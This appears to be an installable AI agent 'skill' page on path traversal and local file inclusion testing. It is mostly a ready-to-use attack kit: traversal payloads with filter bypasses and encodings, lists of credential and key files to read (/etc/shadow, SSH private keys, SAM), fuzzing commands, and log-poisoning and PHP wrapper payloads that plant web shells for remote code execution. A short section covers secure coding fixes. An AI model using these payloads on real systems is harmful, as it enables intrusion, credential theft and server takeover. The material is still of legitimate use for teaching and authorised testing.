This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". It provides comprehensive file path traversal attack and testing methodologies.
npxskills add zebbern/claude-code-guide--skill "File Path Traversal Testing"Loading…
Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.
Path traversal occurs when applications use user input to construct file paths:
// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
$template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);
Attack principle:
../ sequence moves up one directoryImpact:
Map application for potential file operations:
# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=
Common vulnerable functionality:
/image?filename=23.jpg?template=blue.php/download?file=report.pdf/view?doc=manual.pdf?page=about# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts
# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd # Double encoding
# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"
# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini
# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd
# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd
# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png
# Path truncation
../../../etc/passwd...............................
# Double extension
../../../etc/passwd.jpg.php
# When path must start with expected directory
/var/www/images/../../../etc/passwd
# Expected path followed by traversal
images/../../../etc/passwd
# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd
# Overlong UTF-8 encoding
%c0%2e%c0%2e%c0%af
# URL encoding variations
%2e%2e/
%2e%2e%5c
..%5c
..%255c
# Case variations (Windows)
....\\....\\etc\\passwd
High-value files to target:
# System files
/etc/passwd # User accounts
/etc/shadow # Password hashes (root only)
/etc/group # Group information
/etc/hosts # Host mappings
/etc/hostname # System hostname
/etc/issue # System banner
# SSH files
/root/.ssh/id_rsa # Root private key
/root/.ssh/authorized_keys # Authorized keys
/home/<user>/.ssh/id_rsa # User private keys
/etc/ssh/sshd_config # SSH configuration
# Web server files
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
# Application files
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config
# Process information
/proc/self/environ # Environment variables
/proc/self/cmdline # Process command line
/proc/self/fd/0 # File descriptors
/proc/version # Kernel version
# Common application configs
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf
Windows-specific targets:
# System files
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM
# IIS files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\
# Configuration files
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php
# User files
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\
1. Capture request with file parameter
2. Send to Intruder
3. Mark file parameter value as payload position
4. Load path traversal wordlist
5. Start attack
6. Filter responses by size/content for success
# Basic traversal fuzzing
ffuf -u "http://target.com/image?filename=FUZZ" \
-w /usr/share/wordlists/traversal.txt \
-mc 200
# Fuzzing with encoding
ffuf -u "http://target.com/page?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200,500 -ac
# Traverse to /etc/passwd
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
--hc 404 \
"http://target.com/index.php?file=FUZZ"
# With headers/cookies
wfuzz -c -z file,traversal.txt \
-H "Cookie: session=abc123" \
"http://target.com/load?path=FUZZ"
# Inject PHP code into logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# Include Apache log file
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
# Include auth.log (SSH)
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
# Inject via User-Agent
curl -A "<?php system('id'); ?>" \
"http://target.com/page?file=/proc/self/environ"
# With command parameter
curl -A "<?php system(\$_GET['c']); ?>" \
"http://target.com/page?file=/proc/self/environ&c=whoami"
# php://filter - Read source code as base64
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
# php://input - Execute POST data as PHP
curl -X POST -d "<?php system('id'); ?>" \
"http://target.com/page?file=php://input"
# data:// - Execute inline PHP
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
# expect:// - Execute system commands
curl "http://target.com/page?file=expect://id"
Structured testing approach:
# Step 1: Identify potential parameters
# Look for file-related functionality
# Step 2: Test basic traversal
../../../etc/passwd
# Step 3: Test encoding variations
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
# Step 4: Test bypass techniques
....//....//....//etc/passwd
..;/..;/..;/etc/passwd
# Step 5: Test absolute paths
/etc/passwd
# Step 6: Test with null bytes (legacy)
../../../etc/passwd%00.jpg
# Step 7: Attempt wrapper exploitation
php://filter/convert.base64-encode/resource=index.php
# Step 8: Attempt log poisoning for RCE
Secure coding practices:
// PHP: Use basename() to strip paths
$filename = basename($_GET['file']);
$path = "/var/www/files/" . $filename;
// PHP: Validate against whitelist
$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
if (in_array($_GET['file'], $allowed)) {
include("/var/www/files/" . $_GET['file']);
}
// PHP: Canonicalize and verify base path
$base = "/var/www/files/";
$realBase = realpath($base);
$userPath = $base . $_GET['file'];
$realUserPath = realpath($userPath);
if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
include($realUserPath);
}
# Python: Use os.path.realpath() and validate
import os
def safe_file_access(base_dir, filename):
# Resolve to absolute path
base = os.path.realpath(base_dir)
file_path = os.path.realpath(os.path.join(base, filename))
# Verify file is within base directory
if file_path.startswith(base):
return open(file_path, 'r').read()
else:
raise Exception("Access denied")
| Payload | Target |
|---|---|
../../../etc/passwd | Linux password file |
..\..\..\..\windows\win.ini | Windows INI file |
....//....//....//etc/passwd | Bypass simple filter |
/etc/passwd | Absolute path |
php://filter/convert.base64-encode/resource=config.php | Source code |
| OS | File | Purpose |
|---|---|---|
| Linux | /etc/passwd | User accounts |
| Linux | /etc/shadow | Password hashes |
| Linux | /proc/self/environ | Environment vars |
| Windows | C:\windows\win.ini | System config |
| Windows | C:\boot.ini | Boot config |
| Web | wp-config.php | WordPress DB creds |
| Type | Example |
|---|---|
| URL Encoding | %2e%2e%2f = ../ |
| Double Encoding | %252e%252e%252f = ../ |
| Unicode | %c0%af = / |
| Null Byte | %00 |
| Problem | Solutions |
|---|---|
| No response difference | Try encoding, blind traversal, different files |
| Payload blocked | Use encoding variants, nested sequences, case variations |
| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning |
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